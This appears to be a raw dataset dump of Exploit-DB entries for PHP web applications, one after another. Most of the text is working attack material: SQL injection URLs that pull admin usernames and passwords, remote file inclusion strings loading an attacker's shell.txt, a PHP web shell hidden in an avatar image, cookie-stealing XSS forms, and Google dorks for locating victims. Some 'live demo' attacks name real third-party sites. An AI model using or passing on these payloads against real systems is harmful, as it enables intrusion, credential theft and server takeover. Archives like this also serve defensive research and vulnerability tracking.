deardaniel/secdata-raw huggingface dataset:
Exploit-DB #4352
Description: Weblogicnet - 'files_dir' Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2007-09-02
Author: bius

Exploit:
#############################Nyubicrew Community################################
#
#  Weblogicnet (files_dir) Remote File Inclusion
#
#  vendor : http://www.weblogicnet.com/
#  source : http://weblogicnet.com/data/weblogicnet.tgz 
#
#################################################################################
#
#
#       Bug Found By :home_edition2001 a.k.a (bius) (31-08-2007)
#
#       contact: bius22@mac.com
#
#       Website : www.solpotcrew.org/adv/home_edition2001-adv-02.txt
#
################################################################################
#
#
#      Greetz: Nyubi aka solpot , Matdhule , S4M3K ,[DEVIL_MAY_CRY] , iFX , Scr3W_W0rM , 
#              nakkuta , bukan-diriku , POET , Th0nk , mbako_semprul , Fungky , airsoul
#              wong_edan , ^s0n_g0ku^ , aLiiF , sparta-x , dudut , xtremeshell , Bithedz
#              th3sn0wbr4in , ReAksi , X8 , junkiest , K1tk4t , masboi , saritem
#              x-ace , replacement_killer , LamerCrew , k1n9k0ng ,[K]ompoR_Meledu[K]
#              and all member #nyubicrew @ irc.mildnet.org
#              especially thx to str0ke @ milw0rm.com
#
###############################################################################
Input passed to the "files_dir" is not properly verified
before being used to include files. This can be exploited to execute
arbitrary PHP code by including files from local or external resources.

code from :
es_desp.php
es_custom_menu.php
es_offer.php

################################################################################
# Weblogicnet                                                                  #
# http://www.weblogicnet.com/                info@weblogicnet.com              #
################################################################################
# Use of this program constitutes your agreement to the terms contained in the #
# LICENSE file within this distribution.                                       #
################################################################################

<ahref="
<?php require($files_dir.'/_custom_menu_link.php'); ?>">
<?php require($files_dir.'/_custom_menu_name.php'); ?></a><br>

google dork : inurl:es_offer.php?files_dir=

exploit : http://somehost/path_to_Weblogicnet/es_desp.php?files_dir=[evilCode]
          http://somehost/path_to_Weblogicnet/es_custom_menu.php?files_dir=[evilCode]
          http://somehost/path_to_Weblogicnet/es_offer.php?files_dir=[evilCode]

######################MY Special Girl JUST FOR U Ula#########################
######################################E.O.F##################################

# milw0rm.com [2007-09-02]
Exploit-DB #30745
Description: Weblord.it MS-TopSites - Unauthorized Access / HTML Injection
Type: webapps
Platform: php
Date: 2007-11-06
Author: 0x90

Exploit:
source: https://www.securityfocus.com/bid/26358/info

MS-TopSites is prone to an unauthorized-access vulnerability and an HTML-injection vulnerability because the application fails to sufficiently sanitize user-supplied data.

An attacker can exploit these issues to gain elevated privileges on the affected application, execute arbitrary code within the context of the webserver, and steal cookie-based authentication credentials. 

<html><title>PhpNuke (add-on) MS TopSites Edit Exploit And Html Injection</title>
<body bgcolor="black" text="white">
<form action="http://localhost:81/modules.php?name=MS_TopSites&file=edit " method="post">
<input size="92" type="text" value=&#039;&#039; name="sname"> SiteNameTitle [sname] (not Target it must be changed in the source) <br />
<input size="92" type="text" value="" name="uname"> Username [uname] <br />
<input size="92" type="text" value=" http://www.0x90.com.ar" name="url"> Url<br />
<input size="92" type="text" value="mail@url.com" name="email"> Email<br />
<input size="92" type="text" value=&#039;&#039; name="bottonurl"> BottonUrl<br />
<input size="92" type="text" value="Art" name="cat"> Cat <br />
<input size="92" type="text" value="Wedonotneeddescriptions" name="description"> Descriptions<br />
<input type="hidden" value="MSTopSitesSaveSite" name="op"><br />
<input type="submit" value="submit"><br />
</body></form>
</html>
Exploit-DB #5664
Description: Weblosninger 4 - Cross-Site Scripting / SQL Injection
Type: webapps
Platform: php
Date: 2008-05-21
Author: Mr.SQL

Exploit:
################ Viva IsLaM ################
#   (sql / xss ) Multiple Vulnerabilities
#     
#   weblosning   V1, V2,V3,V4 (( index2.php id ))                              
############################################
## Script Name : Weblosning (( V1, V2,V3,V4 ))
##
## Demo :   http://www.simpelside.dk/
############################################
##
## AuTh0r: Mr.SQL
## H0ME  : WwW.PaL-HaCkEr.CoM
## Email : SQL@Hotmail.it
## 
############################################
##      (( V1 ::V2 :: V3 :: V4 ))
##
## D0rk :  allinurl: "index2.php" mainid
##
====>>>   SQL ::::::::

       V1  =====>>  http://www.target.dk/  index2.php?id=31&mainid=-1+union+select+1,2,3,concat_ws(0x3a3a,brugernavn,adgangskode),5,6+from+web1_brugere/*
         
       V2  =====>>  http://www.target.dk/  index2.php?id=31&mainid=-1+union+select+1,2,3,concat_ws(0x3a3a,brugernavn,adgangskode),5,6+from+web2_brugere/*
         
       V3 =====>>  http://www.target.dk/  index2.php?id=31&mainid=-1+union+select+1,2,3,concat_ws(0x3a3a,brugernavn,adgangskode),5,6+from+web3_brugere/*
          
       V4 =====>>  http://www.target.dk/  index2.php?id=31&mainid=-1+union+select+1,2,3,concat_ws(0x3a3a,brugernavn,adgangskode),5,6+from+web4_brugere/*


## Note ## plz use all exploits to have good results , the sites have difrrent versions , so you must test all tables name on targets the ,table name like this [  web1_brugere , web2_brugere , web3_brugere , web4_brugere ]  to know script version 
 

## Video How to use tables  :)       http://www.4shared.com/file/48485309/1fa3df0/weblosning.html


##  :: liVe DeM0 ::


version (1)  http://www.simpelside.dk/web1/index2.php?id=-4+union+select+1,2,concat_ws(0x3a3a,brugernavn,adgangskode),4,5,6+from+web1_brugere/*

version (2)   http://www.simpelside.dk/web2/index2.php?id=2&mainid=-1+union+select+1,concat_ws(0x3a3a,brugernavn,adgangskode),3+from+web2_brugere/*

version (3)    http://www.simpelside.dk/web3/index2.php?id=-3+union+select+1,concat_ws(0x3a3a,brugernavn,adgangskode),3,4,5,6+from+web3_brugere/*

version (4)  http://www.simpelside.dk/web4/index2.php?id=-1+union+select+1,concat_ws(0x3a3a,brugernavn,adgangskode),3,4,5,6+from+web4_brugere/*

#########################################################################################
      
====>> xss ::::::
                      http://www.target.dk/web1/result.php?search= (xss)
====>>
        EX ::::  http://www.simpelside.dk/web1/result.php?search= Viva%20Islam%20

 
#########################################################################################

<< Gr33Tz>>  (( HaCkEr-EGy )) :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: HeBarieH ::  (( MuslimS HaCkErS ))

#########################################################################################
                       -(:::: Geek Inj3cT0r ::::)-

# milw0rm.com [2008-05-21]
Exploit-DB #11831
Description: WebMaid CMS 0.2-6 Beta - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2010-03-21
Author: cr4wl3r

Exploit:
====================================================================
WebMaid CMS <= 0.2-6 Beta Multiple Remote File Include Vulnerability
====================================================================


[+] WebMaid CMS <= 0.2-6 Beta Multiple Remote File Include Vulnerability

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1                    ######################################            1
0                    I'm cr4wl3r  member from Inj3ct0r Team            1
1                    ######################################            0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

[+] Discovered by: cr4wl3r
[+] My id: http://inj3ct0r.com/author/945
[+] Original: http://inj3ct0r.com/exploits/11394
[+] Download: http://code.google.com/p/webmaidcms/downloads/list

[+] PoC RFI:
    [path]/template/babyweb/index.php?template=[attacker.com]/shell.txt???
    [path]/template/babyweb/index.php?menu=[attacker]/shell.txt???
    [path]/template/babyweb/index.php?events=[attacker]/shell.txt???
    [path]/template/babyweb/index.php?SITEROOT=[attacker]/shell.txt???
    [path]/template/calm/footer.php?modules=[attacker]/shell.txt???
    [path]/template/calm/footer.php?copyright=[attacker]/shell.txt???
    [path]/template/calm/top.php?menu=[attacker]/shell.txt???
    [path]/template/wm025/footer.php?modules=[attacker]/shell.txt???
    [path]/template/wm025/footer.php?copyright=[attacker]/shell.txt???
    [path]/template/wm025/footer.php?menu=[attacker]/shell.txt???

[+] PoC LFI:
    [path]/cContactus.php?com=[LFI%00]
    [path]/cGuestbook.php?com=[LFI%00]
    [path]/cArticle.php?com=[LFI%00]

[+] Greetz: All member inj3ct0r.com


# Inj3ct0r.com [2010-03-22]
Exploit-DB #7407
Description: WebMaster Marketplace - SQL Injection
Type: webapps
Platform: php
Date: 2008-12-10
Author: Hussin X

Exploit:
Webmaster Marketplace (member.php u) Remote SQL Injection Vulnerability
___________________________________

Author: Hussin X

Home :IQ-SecuriTY >   www.IQ-TY.com   |  TrYaG > www.TrYaG.cc

Mail :  darkangel_G85@yahoo.com

___________________________________

script  : http://www.unscripts.com/MPS.html

DorK : :(

exploit :
_______

http://www.site.com/member.php?u=15+UNION+SELECT+concat(user,0x3e,pass),2+FROM+admin--



Demo :
_______

http://www.unscripts.com/MPS/member.php?u=15+UNION+SELECT+concat(user,0x3e,pass),2+FROM+admin--


login :
http://www.site.com/Admin/login.php

____________________________( Greetz )_________________________________
|
|   All members of the Forum| WwW.IQ-ty.CoM |  WwW.TrYaG.CC
|
|  My friends : str0ke | DeViL iRaQ | IRAQ_JAGUR |  Sakab
|
|   FAHD |  jiko | IRAQ DiveR | Cyber-Zone | CraCkEr | G4N0K
|_____________________________________________________________________



                             IM IraQi    |       IM TrYaGi

# milw0rm.com [2008-12-10]
Exploit-DB #32188
Description: WebmasterSite (Multiple Products) - Remote Command Execution
Type: webapps
Platform: php
Date: 2008-08-06
Author: otmorozok428

Exploit:
source: https://www.securityfocus.com/bid/30572/info

Multiple WebmasterSite products are prone to a remote shell command-execution vulnerability because the applications fail to sufficiently sanitize user-supplied data.

Successfully exploiting this issue will allow an attacker to execute arbitrary commands in the context of the affected application.

This issue affects the following products:

WSN Forum 4.1.43
WSN Knowledge Base 4.1.36
WSN Links 4.1.44
WSN Gallery 4.1.30

Note that previous versions may also be vulnerable. 

Avatar evil.jpg source:
<? system($_GET['cmd']); ?>

Enter to upload: 
http://www.example.com/forum/profile.php?action=editprofile&id=[Your User ID]

See the avatar name at your profile.

Upload evil avatar and go to: 
http://www.example.com/index.php?custom=yes&TID=../../attachments/avatars/[Avatar Name]&ext=jpg&cmd=ls -al
Exploit-DB #15517
Description: Webmatic - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-11-13
Author: v3n0m

Exploit:
     )   )            )                     (   (         (   (    (       )     ) 
  ( /(( /( (       ( /(  (       (    (     )\ ))\ )      )\ ))\ ) )\ ) ( /(  ( /( 
  )\())\()))\ )    )\()) )\      )\   )\   (()/(()/(  (  (()/(()/((()/( )\()) )\())
 ((_)((_)\(()/(   ((_)((((_)(  (((_)(((_)(  /(_))(_)) )\  /(_))(_))/(_))(_)\|((_)\ 
__ ((_)((_)/(_))___ ((_)\ _ )\ )\___)\ _ )\(_))(_))_ ((_)(_))(_)) (_))  _((_)_ ((_)
\ \ / / _ (_)) __\ \ / (_)_\(_)(/ __(_)_\(_) _ \|   \| __| _ \ |  |_ _|| \| | |/ / 
 \ V / (_) || (_ |\ V / / _ \  | (__ / _ \ |   /| |) | _||   / |__ | | | .` | ' <  
  |_| \___/  \___| |_| /_/ \_\  \___/_/ \_\|_|_\|___/|___|_|_\____|___||_|\_|_|\_\
										.WEB.ID
-----------------------------------------------------------------------
            Webmatic (index.php) SQL Injection Vulnerability
-----------------------------------------------------------------------
Author  	: v3n0m
Site    	: http://yogyacarderlink.web.id/
Date		: November, 13-2010
Location	: Jakarta, Indonesia
Time Zone	: GMT +7:00

Application	: Webmatic
Vendor  	: http://www.webmatic.it/it/
Google Dork	: "Powered by Webmatic" inurl:index.php?lng=it&p=


Exploit
_______
 
-9999+union+all+select+1,2,3,4,5,6,version(),8,9,10,11,12,13,14,15,16,17,18--

http://site/[path]/index.php?lng=it&p=-9999+union+all+select+1,2,3,4,5,6,version(),8,9,10,11,12,13,14,15,16,17,18--


ShoutZ
______
All YOGYACARDERLINK CREW, GheMaX, LeQhi
Also Jovita & Fabian :)
Exploit-DB #3281
Description: WebMatic 2.6 - 'index_album.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-02-07
Author: MadNet

Exploit:
-------------------------------------********************----------------------------------------------------------
#Title : WebMatic 2.6

#Author : MadNet

#Contact : MadNet[at]Hackertr[Dot]org

#S.Page : www.valarsoft.com  :)

--------------------------------------*******************-----------------------------------------------------------


Error1 :  require($P_LIB."lib_album.php");

Error2 :  require($P_INDEX."page_album.inc");


[[RFI]]

http://[target]/[path]/core/index/index_album.php?P_LIB=[Shell]

http://[target]/[path]/core/index/index_album.php?P_INDEX=[Shell]

-------------------------------------------------

Example1 : [Path]/core/index/index_album.php?P_LIB=http://[path]/shell.txt

Example2 : [Path]/core/index/index_album.php?P_INDEX=http://[path]/shell.txt



''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

-- MadNet From Turkey & Cyber-Sabotger Orgeneral  --


--Thanks Milw0rm

# milw0rm.com [2007-02-07]
Exploit-DB #33038
Description: Webmedia Explorer 5.0.9/5.10 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2009-05-15
Author: intern0t

Exploit:
source: https://www.securityfocus.com/bid/35368/info

Webmedia Explorer is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Webmedia Explorer 5.0.9 and 5.10.0 are vulnerable; other versions may also be affected. 

http://www.example.com/webmediaexpl/htdocs/index.php?search=" onmouseover=alert(0) ---
http://www.example.com/webmediaexpl/htdocs/?view=2&thisisnotarealcall=&#039;)" onmouseover=alert(0) > ---
http://www.example.com/webmediaexpl/htdocs/index.php?dir=&bookmark=" onmouseover=alert(0) > ---&action=edit

POST Method - Cross Site Scripting:
Host: [HOST]
User-Agent: FireFox-3-RoXx
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer:
http://[HOST]/webmediaexpl/htdocs/index.php?action=remember
Content-Type: application/x-www-form-urlencoded
Content-Length: 58

Post Content:
email=%22+onmouseover%3Dalert%280%29+%3E+---&captcha_code=
Exploit-DB #15387
Description: Webmedia Explorer 6.13.1 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-11-02
Author: High-Tech Bridge SA

Exploit:
Vulnerability ID: HTB22661
Reference: http://www.htbridge.ch/advisory/stored_xss_vulnerability_in_webmedia_explorer.html
Product: Webmedia Explorer
Vendor: Marc Salmurri ( http://www.webmediaexplorer.com/ ) 
Vulnerable Version: 6.13.1 and probably prior versions
Vendor Notification: 19 October 2010 
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "6.13.1!">" script to properly sanitize user-supplied input in "desc" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/folder" method="post" name="main">
<input type="hidden" name="object" value="folder">
<input type="hidden" name="desc" value='title"><script>alert(document.cookie)</script>'>
<input type="hidden" name="tags" value="">
<input type="hidden" name="position" value="">
<input type="hidden" name="readme" value="post txt">
</form>
<script>
document.main.submit();
</script>
Exploit-DB #39255
Description: WEBMIS CMS - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2014-07-14
Author: Jagriti Sahu

Exploit:
source: https://www.securityfocus.com/bid/68658/info

WEBMIS CMS is prone to a vulnerability that lets attackers upload arbitrary files.

An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application. 

<form 
action="http://www.example.com/webmis_installation/plugin/uploadify/uploadify.php" 
method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="Filedata" ><br>
<input type=text name="path" value="/webmis_installation/plugin/">
<input type=text name="someKey" value="someValue"]>
<input type="submit" name="submit" value="Submit">
</form>
Exploit-DB #17786
Description: Webmobo WB News System - Blind SQL Injection
Type: webapps
Platform: php
Date: 2011-09-05
Author: Eyup CELIK

Exploit:
# Exploit Title: Webmobo News System Blind SQL Injection
# Date: 2011
# Author: Eyup CELIK
# Version: All Version
# Tested on: All versions are Vulnerability
# Web Site: www.eyupcelik.com.tr


ISSUE

Blind SQL Injection can be done using the command input

Vulnerable Page:
index.php

Example:
index.php?action=sendto&newsid=<Blind SQL Injection Code>

Exploit:
index.php?action=sendto&newsid=1' and '2'='2

POC:
http://server/index.php?action=sendto&newsid=1%27%20and%20%272%27=%272


Thanks,

Eyup CELIK
Information Technology Security Specialist
http://www.eyupcelik.com.tr
Exploit-DB #45897
Description: WebOfisi E-Ticaret V4 - 'urun' SQL Injection
Type: webapps
Platform: php
Date: 2018-11-21
Author: AkkuS

Exploit:
# Exploit Title: WebOfisi E-Ticaret V4 - 'urun' SQL Injection
# Date: 2018-11-21
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Contact: https://pentest.com.tr
# Vendor Homepage: https://www.web-ofisi.com
# Software Demo: http://demobul.net/eticaretv4/
# Software Link: https://drive.google.com/file/d/1ZghFSsYto-Vpv3PXunx8xm2g-Gs3HJwz/view?usp=sharing
# Version: v4.0
# Category: Webapps
# Tested on: XAMPP for Linux
# Description: E-Ticaret v4 is a professional online shopping script with many features.
# Vulnerabilities have been discovered during penetration testing.

# PoC : SQLi :
# Request : /eticaretv4/arama.html?kategori=20&urun=test

# Parameter : urun (GET)
# Type : boolean-based blind
# Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
# Payload: 

kategori=20&urun=test") RLIKE (SELECT (CASE WHEN (6525=6525)THEN 0x74656474 ELSE 0x28 END)) AND ("YWLa"="YWLa

# Type: error-based
# Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
# Payload: 

kategori=20&urun=test") OR (SELECT 6556 FROM(SELECT COUNT(*),CONCAT(0x71626b6b71,(SELECT(ELT(6556=6556,1))),0x716b716b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND ("ExaV"="ExaV

# Type: stacked queries
# Title: MySQL < 5.0.12 stacked queries (heavy query)
# Payload: 

kategori=20&urun=test");SELECT BENCHMARK(5000000,MD5(0x44527964)) AND ("KGaO"="KGaO

# Type: AND/OR time-based blind
# Title: MySQL >= 5.0.12 OR time-based blind
# Payload: 

kategori=20&urun=test") OR SLEEP(5) AND ("sDnb"="sDnb

# PoC : XSS :
# Payload :
http://demobul.net/eticaretv4/arama.html?kategori=20&urun=%3E%27%3E%22%3E%3Cimg%20src=x%20onerror=alert%280%29%3E
Exploit-DB #27248
Description: Webpagecity WPC easy - SQL Injection
Type: webapps
Platform: php
Date: 2006-02-18
Author: murfie

Exploit:
source: https://www.securityfocus.com/bid/16721/info

Webpagecity 'WPC.easy' is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

The following proof of concept is available:
login: ' OR '1=1
password: ' OR '1=1